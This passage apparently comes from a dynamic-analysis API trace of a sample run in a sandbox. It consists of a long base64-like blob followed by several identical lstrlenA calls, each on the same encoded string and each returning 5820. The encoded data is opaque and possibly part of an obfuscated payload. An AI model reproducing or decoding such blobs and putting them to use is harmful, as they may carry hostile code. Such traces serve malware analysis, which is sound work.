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") returned 5820
	[0084.637] lstrlenA (lpString="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") returned 5820
	[0084.637] lstrlenA (lpString="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") returned 5820
	[0084.637] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+rW2Q6Q6+Ey8